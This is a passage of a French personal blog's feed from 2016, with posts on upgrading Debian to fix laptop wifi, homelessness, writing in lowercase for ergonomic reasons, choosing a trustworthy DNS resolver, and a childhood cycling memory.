&lt;p&gt;paramétrage du &lt;em&gt;touchpad&lt;/em&gt; pour qu&amp;rsquo;il accepte le « tapoter pour cliquer »;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;paramétrage de la gestion de l&amp;rsquo;énergie via l&amp;rsquo;interface graphique.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… il reste à régler les problèmes. En terme de problème, je n&amp;rsquo;ai que ma carte wifi qui n&amp;rsquo;est pas reconnue &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;lspci&lt;/code&gt; me montre que ma carte wifi est une &lt;em&gt;intel 3166&lt;/em&gt;. Le module &lt;em&gt;iwlwifi&lt;/em&gt; devrait la prendre en charge mais ce n&amp;rsquo;est pas le cas (même après installation du paquet &lt;em&gt;firmware-iwlwifi&lt;/em&gt;). La &lt;a href="https://wiki.debian.org/InstallingDebianOn/Lenovo/ideapad%20300%20%28jessie%29"&gt;documentation&lt;/a&gt; précise qu&amp;rsquo;il faut un noyau &lt;code&gt;4.*&lt;/code&gt; et pas &lt;code&gt;3.*&lt;/code&gt;. Plutôt que de chipoter avec des &lt;em&gt;backports&lt;/em&gt; pour &lt;em&gt;jessie&lt;/em&gt;, je passe à &lt;em&gt;strectch&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;~:#&lt;span class="w"&gt; &lt;/span&gt;vim&lt;span class="w"&gt; &lt;/span&gt;/etc/apt/sources.list
:%/jessie/stretch/
~:#&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;
~:#&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;full-upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je reboote sur le noyau &lt;code&gt;4.*&lt;/code&gt; et la carte wifi est reconnue, c&amp;rsquo;est plus précisément une « Intel Corporation Intel Dual Band Wireless-AC 3165 Plus Bluetooth ».&lt;/p&gt;
&lt;p&gt;Je teste la mise en veille qui parfois est problématique et ça fonctionne.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est fait, je vais boire un vin chaud au marché de Noël.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Photo perso du nouveau laptop&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Comme l&amp;rsquo;on va copier un &lt;em&gt;iso&lt;/em&gt; dessus, la place disponible restante sera inutilisable. Cette ne servira donc qu&amp;rsquo;à avoir une &lt;em&gt;debian&lt;/em&gt; à installer… comme un bon vieux CD d&amp;rsquo;installation.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;En lisant ce blog, vous pouvez donc savoir quelles sont les machines que j&amp;rsquo;ai eu à la maison ^^.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Ça devient vraiment simple d&amp;rsquo;installer une machine &lt;em&gt;linux&lt;/em&gt;… même si c&amp;rsquo;est plus compliqué que d&amp;rsquo;appuyer sur &lt;em&gt;power&lt;/em&gt; et de laisser la pré-installation MS Windows se lancer. Évidemment.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Un homme debout</title><link href="http://blog.namok.be/2016-12-07-un-homme-debout.html" rel="alternate"/><published>2016-12-07T00:00:00+01:00</published><updated>2016-12-07T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-12-07:/2016-12-07-un-homme-debout.html</id><summary type="html">Un homme debout</summary><content type="html">&lt;p&gt;&lt;img alt="flyer_salaudsdepauvres-4.jpg" src="/images/flyer_salaudsdepauvres-4.jpg" title="flyer_salaudsdepauvres-4.jpg, déc. 2016"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si je m&amp;rsquo;endors, me réveillerez-vous ?&lt;br&gt;
Il fait si froid dehors, le ressentez-vous ?&lt;br&gt;
Il fut un temps où j&amp;rsquo;étais comme vous&lt;br&gt;
Malgré toutes mes galères, je reste un homme debout  &lt;/p&gt;
&lt;p&gt;Extrait de Un homme debout de &lt;a href="http://www.claudio-capeo.com/"&gt;Claudio Capéo&lt;/a&gt; (&lt;a href="https://www.youtube.com/watch?v=Y9GCM9DZUJo#action=share"&gt;Clip officiel&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;1995, levé, prêt, je prends la voiture pour me rendre à la gare. La campagne est calme. Nous sommes un peu plus de 4 milliards, le trafic est fluide, les trottoirs sont encore déserts. Je prends le train. À la sortie de la gare, quelques &lt;em&gt;sdf&lt;/em&gt; papotent en buvant de la bière. Probablement que l&amp;rsquo;alcool réchauffe ou tout au moins permet d&amp;rsquo;oublier.&lt;/p&gt;
&lt;p&gt;Je passe mon chemin.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai un ami avec peu de revenus qui habite dans une petite maison mise à disposition par le cpas. Son papa est parti et sa mère est au chômage. Pour arrondir un peu les fins de mois, elle fait quelques ménages à droite à gauche. Ils s&amp;rsquo;en sortent.&lt;/p&gt;
&lt;p&gt;Allocations de chômage, cpas… La sécurité sociale me rassure et me donne bonne conscience. J&amp;rsquo;allonge le pas, le travail m&amp;rsquo;attend.&lt;/p&gt;
&lt;p&gt;2015, levé, prêt, je monte dans le bus pour me rendre à la gare. Il y a déjà du trafic et les voitures se suivent de près en passant devant la maison. Nous sommes 7,5 milliards. Sept milliards et demi ! À la sortie de la gare, les &lt;em&gt;sdf&lt;/em&gt; habituels sont là. Ils ne sont pas spécialement plus nombreux. C&amp;rsquo;est sur le chemin du travail que l&amp;rsquo;on rencontre des gens avec leur petit gobelet. Ils ne sont pas rongés par l&amp;rsquo;alcool, ils sont jeunes, ils ne sont pas dans la rue depuis longtemps.&lt;/p&gt;
&lt;p&gt;Je donne une tune.&lt;/p&gt;
&lt;p&gt;Si je peux dépenser des euros pour un sandwich ou pour une bière, je peux dépenser quelques dizaines de cents pour que certains mangent un peu. La sécurité sociale ne me rassure plus. On est trop nombreux. Il faut se &lt;em&gt;réhumaniser&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo. La photo est issue du documentaire &lt;a href="http://salaudsdepauvres.be/"&gt;Salauds de pauvres&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Cette article est du même tonneau que l&amp;rsquo;article &lt;a href="2015-09-03-faire-la-manche.html"&gt;Faire la manche&lt;/a&gt; posté l&amp;rsquo;an dernier à la même période. Désolé si j&amp;rsquo;insiste.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Commencer par une majuscule… oui mais non.</title><link href="http://blog.namok.be/2016-11-23-commencer-par-une-majuscule-oui-mais-non.html" rel="alternate"/><published>2016-11-23T00:00:00+01:00</published><updated>2016-11-23T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-11-23:/2016-11-23-commencer-par-une-majuscule-oui-mais-non.html</id><summary type="html">Commencer par une majuscule… oui mais non.</summary><content type="html">&lt;p&gt;&lt;img alt="clavier-maindoigtplie-cut.jpg" src="/images/clavier-maindoigtplie-cut.jpg" title="clavier-maindoigtplie-cut.jpg, nov. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;écris, je fais attention à mon orthographe bien qu&amp;rsquo;elle soit médiocre, j&amp;rsquo;accentue mes lettres majuscules depuis que j&amp;rsquo;ai découvert la touche compose, je différencie un tiret d&amp;rsquo;un tiret quadratin, &lt;a href="2009-03-05-226-nouvelle-orthographe.html"&gt;je préfère l&amp;rsquo;orthographe réformée&lt;/a&gt; — non ! On ne dit plus « la nouvelle orthographe » dès lors que vingt ans sont passés — à l&amp;rsquo;ancienne orthographe, &lt;a href="2010-11-09-Epsilon-2010.html"&gt;j&amp;rsquo;aère mon texte à la mode &lt;em&gt;information mapping&lt;/em&gt;&lt;/a&gt;… bref, j&amp;rsquo;essaie de respecter les règles du français pour que les documents que je rédige soient clairs et propres. S&amp;rsquo;ils le sont, ils seront mieux compris.&lt;/p&gt;
&lt;p&gt;Quand je communique par mail ou par messagerie instantanée, je m&amp;rsquo;efforce également d&amp;rsquo;aérer mon texte en n&amp;rsquo;hésitant pas à ajouter des sauts de ligne et des passages à la ligne et en utilisant des listes à puces. J&amp;rsquo;estime respecter mon interlocuteur si mon texte est rapidement lisible. Parfois je reçois une réponse sans aucun passage à la ligne, c&amp;rsquo;est simplement illisible… mais je ne renonce pas pour autant.&lt;/p&gt;
&lt;p&gt;En parlant de &lt;a href="2007-12-06-netiquette.html"&gt;la netiquette&lt;/a&gt; — je t&amp;rsquo;invite à &lt;a href="http://www.faqs.org/rfcs/rfc1855.html"&gt;(re)lire la RFC 1855&lt;/a&gt; — j&amp;rsquo;y lis en anglais d&amp;rsquo;utiliser; &lt;em&gt;mixed case&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; tandis que dans sa traduction française, on y parle d&amp;rsquo;écrire en minuscules.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use mixed case. UPPER CASE LOOKS AS IF YOU&amp;rsquo;RE SHOUTING.&lt;br&gt;
Écrivez normalement en minuscule. UTILISER LES MAJUSCULES REVIENT À CRIER.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bref, l&amp;rsquo;idée est d&amp;rsquo;écrire tout aussi normalement lorsque l&amp;rsquo;on écrit un texte destiné à être publié que lorsque l&amp;rsquo;on rédige un mail ou quand on trolle sur les réseaux sociaux et autres messageries instantanées… et pourtant.&lt;/p&gt;
&lt;p&gt;La netiquette parle de &lt;em&gt;talk&lt;/em&gt; — l&amp;rsquo;ancêtre de toutes les messageries instantanées — en nous rappelant deux, trois petites choses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;N&amp;rsquo;oubliez pas que le talk équivaut à une interruption de votre interlocuteur. Ne l&amp;rsquo;utilisez que dans les règles. Et ne parlez jamais à un étranger.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Rien de neuf sous le soleil, ça fait donc vingt ans qu&amp;rsquo;on le dit ! Si connaitre ses interlocuteurs est un message qui commence à rentrer, la notion d&amp;rsquo;interruption semble complètement mise de côté. Il suffit d&amp;rsquo;observer certains utilisateurs pour se rendre compte qu&amp;rsquo;il passe beaucoup plus de temps à être interrompu qu&amp;rsquo;à faire avancer leur travail.&lt;/p&gt;
&lt;p&gt;Mais je m&amp;rsquo;égare…&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Talk trahit votre dextérité au clavier. Si vous tapez lentement et faites des erreurs, ce n&amp;rsquo;est souvent pas la peine de corriger car votre interlocuteur peut comprendre ce que vous voulez dire.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Il est habituel de ne pas recopier une phrase dès que l&amp;rsquo;on fait une typo. Certains on prit l&amp;rsquo;habitude de corriger un mot fautif en le faisant précéder d&amp;rsquo;une étoile sans recopier toute la phrase.&lt;/p&gt;
&lt;p&gt;Ça me parrait bien.&lt;br&gt;
*parait&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Utilisez normalement les minuscules et la ponctuation, comme si vous tapiez une lettre ou un courrier électronique.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Alors ? &lt;em&gt;mixed case&lt;/em&gt; ou complètement en minuscules ?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je souffre — je sais que je rabâche &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; — de troubles musculosquelettiques et plus précisément d&amp;rsquo;une inflammation de l&amp;rsquo;extenseur du cinquième. Précisément parce que j&amp;rsquo;ai pris l&amp;rsquo;habitude d&amp;rsquo;entrer les chiffres et les majuscules en appuyant sur la touche &lt;code&gt;[Shift]&lt;/code&gt; avec le petit doigt de la même main que ceux qui appuient sur les touches correspondant aux caractères à écrire en majuscules.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Netiquette 2.0&lt;/strong&gt; J&amp;rsquo;écris &lt;strong&gt;complètement en minuscules&lt;/strong&gt; — sans majuscule en début de mot donc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pour la messagerie instantanée;&lt;/p&gt;
&lt;p&gt;Ce qui ne va pas perturber mes amis, ils en ont déjà l&amp;rsquo;habitude.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pour mes commentaires de correction dans les codes des étudiants.&lt;/p&gt;
&lt;p&gt;Une petite explication de la raison et ça roule…&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pour les mails.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est absolutemnt pas un manque de politesse ou de respect. Je continue évidemment à: aérer le texte, dire bonjour, terminer par une formule de politesse, soigner l&amp;rsquo;orthographe, couper / citer pour raccourcir les messages, essayer d&amp;rsquo;être bref sans être sec, couper les lignes, écrire un sujet représentatif du contenu…&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mon prochain mail aura donc l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bonjour,

conformément à nos habitudes nous allons faire un affichage groupé 
pour annoncer la prochaine interro. pour rappel, elle a lieu 
la semaine du 21 novembre.

pouvez-vous compléter le &lt;span class="ge"&gt;_pad_&lt;/span&gt; suivant: http://framapad.org/p/something.

bàv  
juste
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Photo personnelle quand j&amp;rsquo;essaie de montrer que l&amp;rsquo;auriculaire est plié lorsque j&amp;rsquo;enfonce la touche [Shift].&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Casse mixte, c&amp;rsquo;est-à-dire écrire en minuscules et en mettant des majuscules en début de mot comme on a l&amp;rsquo;habitude de faire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;J&amp;rsquo;insiste pour que les jeunes lecteurs prennent garde dès maintenant à leur position devant l&amp;rsquo;écran; frappe à 10 doigts avec une disposition bépo au minimum et utilisation d&amp;rsquo;un clavier TypeMatrix si possible (ce que je ne fais pas car je suis trop itinérant).&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Quand ton serveur DNS te bloque ou te ment</title><link href="http://blog.namok.be/2016-10-18-quand-ton-serveur-dns-te-bloque-ou-te-ment.html" rel="alternate"/><published>2016-10-18T00:00:00+02:00</published><updated>2016-10-18T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-10-18:/2016-10-18-quand-ton-serveur-dns-te-bloque-ou-te-ment.html</id><summary type="html">Quand ton serveur DNS te bloque ou te ment</summary><content type="html">&lt;p&gt;&lt;img alt="304H-2000x.jpg" src="/images/304H-2000x.jpg" title="304H-2000x.jpg, oct. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Un serveur &lt;em&gt;dns&lt;/em&gt; est un intervenant sensible et majeur d&amp;rsquo;internet. C&amp;rsquo;est lui qui fait la &lt;em&gt;résolution de noms&lt;/em&gt; c&amp;rsquo;est-à-dire, c&amp;rsquo;est lui qui traduit un nom internet — appelé &lt;em&gt;nom de domaine&lt;/em&gt; — en une adresse IP. L&amp;rsquo;adresse IP est — je simplifie un peu — une valeur numérique propre à chaque machine. Si cette adresse IP n&amp;rsquo;est pas trouvée, je ne peux pas accéder au site internet que je désire joindre.&lt;/p&gt;
&lt;p&gt;Par exemple, ce blog a comme adresse IP:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;blog.namok.be 213.186.33.5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;existe pas qu&amp;rsquo;un seul server &lt;em&gt;dns&lt;/em&gt; pour le monde entier. Évidemment. Ils sont légion. Il en existe principalement de 2 sortes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ceux qui ne connaissent rien au départ mais qui ont une bonne mémoire. Ils sont dit &lt;em&gt;à cache seule&lt;/em&gt;. Dès qu&amp;rsquo;on leur demande une IP correspondant à un nom, ils demandent à ceux qui savent et mémorisent l&amp;rsquo;information — dans une mémoire cache — pendant un certain laps de temps;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ceux qui ont &lt;strong&gt;autorité&lt;/strong&gt; pour une zone. Ceux là répondent directement pour la zone dont ils ont autorité — par exemple &lt;code&gt;.be&lt;/code&gt; ou &lt;code&gt;example.org&lt;/code&gt; — et demandent — comme les serveurs à cache seule — pour tous les autres noms.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Où trouver ces serveurs &lt;em&gt;dns&lt;/em&gt; ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On les trouve un peu partout car tout le monde peut — et seulement certains le font — avoir son serveur &lt;em&gt;dns&lt;/em&gt;. Pratiquement ils se trouvent:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;dans la petite boite — ta &lt;em&gt;box&lt;/em&gt; — qui permet de te connecter à internet;&lt;/li&gt;
&lt;li&gt;chez ton FAI (fournisseur d&amp;rsquo;accès internet Proximus, Orange…);&lt;/li&gt;
&lt;li&gt;chez des sites proposant des &lt;em&gt;dns&lt;/em&gt; publics comme Google, &lt;a href="https://www.opendns.com/"&gt;Open DNS&lt;/a&gt; ou &lt;a href="https://www.opennicproject.org/"&gt;Open Nic Project&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si tu n&amp;rsquo;as rien fait de particulier, le serveur &lt;em&gt;dns&lt;/em&gt; que tu utilises est celui de ta &lt;em&gt;box&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;— T&amp;rsquo;es gentil ! Si je comprends bien, il me suffit de ne rien faire et ça marche.&lt;br&gt;
— Oui mais…&lt;br&gt;
— Je dois continuer de lire ?&lt;br&gt;
— Oui&lt;/p&gt;
&lt;p&gt;Tous les serveurs &lt;em&gt;dns&lt;/em&gt; ne travaillent pas de la même manière. Tous font cette fameuse résolution de noms et ça, c&amp;rsquo;est bien. Enfin. Heureusement ! Et puis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;certains collectent des informations sur ceux qui les utilisent comme les serveurs &lt;em&gt;dns&lt;/em&gt; publics de Google;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;d&amp;rsquo;autres bloquent des sites web pour que ceux-ci ne soient pas accessibles comme les serveurs &lt;em&gt;dns&lt;/em&gt; des FAI et par percolation, celui de ta &lt;em&gt;box&lt;/em&gt; (puisqu&amp;rsquo;il interroge son FAI). Parfois &lt;a href="http://www.bortzmeyer.org/google-detourne-par-orange.html"&gt;certains font des « erreurs » et bloquent trop large&lt;/a&gt; comme Orange ce 17 octobre 2016 et &lt;a href="http://www.nextinpact.com/news/101785-blocage-google-ovh-et-wikipedia-on-ne-cherche-pas-a-vous-cacher-verite-assure-orange.htm"&gt;se justifient un peu maladroitement&lt;/a&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;et d&amp;rsquo;autres encore &lt;a href="http://www.bortzmeyer.org/dns-menteur.html"&gt;mentent&lt;/a&gt;. Carrément ! Comme &lt;em&gt;certains&lt;/em&gt; — car ils ne s&amp;rsquo;en vantent pas trop — FAI ou &lt;a href="https://www.opendns.com/"&gt;Cysco Open DNS&lt;/a&gt; pour te servir de la publicité par exemple.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il est donc important de &lt;strong&gt;faire confiance&lt;/strong&gt; en ton serveur &lt;em&gt;dns&lt;/em&gt; et choisir un serveur qui respecte la &lt;a href="https://fr.wikipedia.org/wiki/Neutralit%C3%A9_du_r%C3%A9seau"&gt;neutralité du réseau&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le mieux — mais pas le plus simple, le plus simple étant de ne rien faire — si tu utilises &lt;em&gt;linux&lt;/em&gt; est d&amp;rsquo;installer ton serveur &lt;em&gt;dns&lt;/em&gt; sur ta machine d&amp;rsquo;un coup de&lt;/p&gt;
&lt;p&gt;&lt;code&gt;apt install bind9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;et de dire ensuite que ton serveur &lt;em&gt;dns&lt;/em&gt; se trouve à l&amp;rsquo;adresse — locale — &lt;code&gt;127.0.0.1&lt;/code&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Si tu utilises MS Windows, tu es foutu &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Plus sérieusement, tu peux choisir un serveur &lt;em&gt;dns&lt;/em&gt; public autre que celui de ta &lt;em&gt;box&lt;/em&gt; ou de ton FAI tel que celui de &lt;a href="https://www.opennicproject.org/"&gt;Open nic&lt;/a&gt; s&amp;rsquo;il supporte la charge ou Cysco OpenDNS ou Google mais qui sont (probablement) menteurs. Si tu utilises MS Windows, tu devras choisir entre un &lt;em&gt;dns&lt;/em&gt; menteur ou un &lt;em&gt;dns&lt;/em&gt; qui te bloques…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://www.gratisography.com/#0"&gt;Gratisography&lt;/a&gt;. Cet article fait suite à « l&amp;rsquo;affaire Orange » qui a bloqué &lt;code&gt;google.fr&lt;/code&gt;, &lt;code&gt;fr.wikipedia.org&lt;/code&gt;… pendant une heure ce lundi 17 octobre 2016. Ce problème repose la question de la neutralité du réseau.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Il faudra lui dire très souvent — dans &lt;code&gt;/etc/resolv.conf&lt;/code&gt; — car le serveur &lt;em&gt;dhcp&lt;/em&gt; écrasera cette configuration ou bien via le client graphique &lt;code&gt;wicd&lt;/code&gt; par exemple ou encore en éditant &lt;code&gt;/etc/resolvconf/resolv.conf.d/head&lt;/code&gt; (merci &lt;a href="http://www.bortzmeyer.org/son-propre-resolveur-dns"&gt;Bortzmeyer&lt;/a&gt;).&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Mais tu le savais déjà. &lt;code&gt;hashtag LOL&lt;/code&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Rentre chez toi ta mère a fait des gaufres</title><link href="http://blog.namok.be/2016-10-15-rentre-chez-toi-ta-mere-a-fait-des-gaufres.html" rel="alternate"/><published>2016-10-15T00:00:00+02:00</published><updated>2016-10-15T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-10-15:/2016-10-15-rentre-chez-toi-ta-mere-a-fait-des-gaufres.html</id><summary type="html">Rentre chez toi ta mère a fait des gaufres</summary><content type="html">&lt;p&gt;&lt;img alt="velo-2filles.jpg" src="/images//velo-2filles.jpg" title="velo-2filles.jpg, oct. 2016"&gt;&lt;/p&gt;
&lt;p&gt;— T&amp;rsquo;as vu comme il a gueulé ?&lt;br&gt;
— Ouais, il avait l&amp;rsquo;air vraiment fâché.&lt;/p&gt;
&lt;p&gt;Je rentrais de l&amp;rsquo;école à vélo avec deux de mes potes. L&amp;rsquo;un des deux a une mobilette et pour ne pas trop se fatiguer dans les montées, il nous tire. C&amp;rsquo;est cool.&lt;/p&gt;
&lt;p&gt;Mon pote à vélo était à droite de la mobilette et moi à gauche. En pleine gauche. Arrivés en haut de la montée, le pote à mobilette a coupé les gaz et nous sommes partis plein pot dans la descente. Mon pote à droite de la rue et moi à gauche. En pleine gauche.&lt;/p&gt;
&lt;p&gt;Cheveux au vent, la vitesse grisante, on se regarde en rigolant. Ça va vite. Soudain. Avant de traverser le pont-levis, je regarde devant moi et vois une voiture arriver en sens inverse. Un coup de guidon sur la droite et l&amp;rsquo;on se croise de justesse. J&amp;rsquo;ai eu chaud mais je m&amp;rsquo;en fous. Je suis invincible.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai 14 ans.&lt;/p&gt;
&lt;p&gt;Damned ! La voiture fait demi-tour et nous rattrape. Le chauffeur sort et nous tance vertement. Il nous engueule bien quoi. Sur le coup nous ne disons rien et — à peine le chauffeur parti — on se marre. Ben oui, on est invincibles.&lt;/p&gt;
&lt;p&gt;10 ans plus tard.&lt;br&gt;
20 ans plus tard.&lt;br&gt;
30 ans plus tard.&lt;/p&gt;
&lt;p&gt;Je me souviens toujours de cette aventure. Avec le recul, je sais maintenant qu&amp;rsquo;il était fâché parce qu&amp;rsquo;il avait eu peur. Quand les adultes se fâchent sur les enfants c&amp;rsquo;est souvent parce qu&amp;rsquo;ils ont eu peur. Ce serait tellement plus simple de le dire mais c&amp;rsquo;est une autre histoire.&lt;/p&gt;
&lt;p&gt;Beaucoup d&amp;rsquo;entre nous avons une histoire comme celle-là à raconter; se faire engueuler pour avoir traverser sur les rails du train, se faire suivre jusqu&amp;rsquo;à la maison pour qu&amp;rsquo;un chauffeur nous apprenne que l&amp;rsquo;on ne tourne pas à gauche à vélo lorsqu&amp;rsquo;une voiture commence à te dépasser, s&amp;rsquo;entendre dire par un adulte qu&amp;rsquo;il est temps de rentrer chez soi parce qu&amp;rsquo;il est tard maintenant…&lt;/p&gt;
&lt;p&gt;Les adolescents étaient plus souvent dans la rue jadis; pour jouer avec les amis, aller à vélo au sport, discuter à la plaine de jeux… Pas uniquement que l&amp;rsquo;on avait moins peur des &lt;em&gt;méchants&lt;/em&gt; ou parce que c&amp;rsquo;est — évidemment — la faute aux jeux vidéos si les enfants ne sortent plus, mais aussi car les adultes étaient plus attentifs aux autres. En général. Aux enfants qui ne sont pas les leurs. N&amp;rsquo;y avait-il pas un esprit collectif où (tous) les adultes encadraient (tous) les adolescents ?&lt;/p&gt;
&lt;p&gt;Je peux laisser mon enfant en rue parce que les autres adultes se sentiront responsables aussi.&lt;/p&gt;
&lt;p&gt;Je ne ferai pas n&amp;rsquo;importe quoi parce que les adultes autour de moi m&amp;rsquo;observent comme mes parents.&lt;/p&gt;
&lt;p&gt;Pourquoi a-t-on perdu cet esprit citoyen collectif ?&lt;br&gt;
Est-ce qu&amp;rsquo;il y a plus de risque qu&amp;rsquo;un adolescent nous agresse parce que l&amp;rsquo;on fait une remarque ? Doit-on (encore) prendre ce risque ? Est-ce que ça vaut la peine ?&lt;/p&gt;
&lt;p&gt;Poser la question, c&amp;rsquo;est peut-être y répondre.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
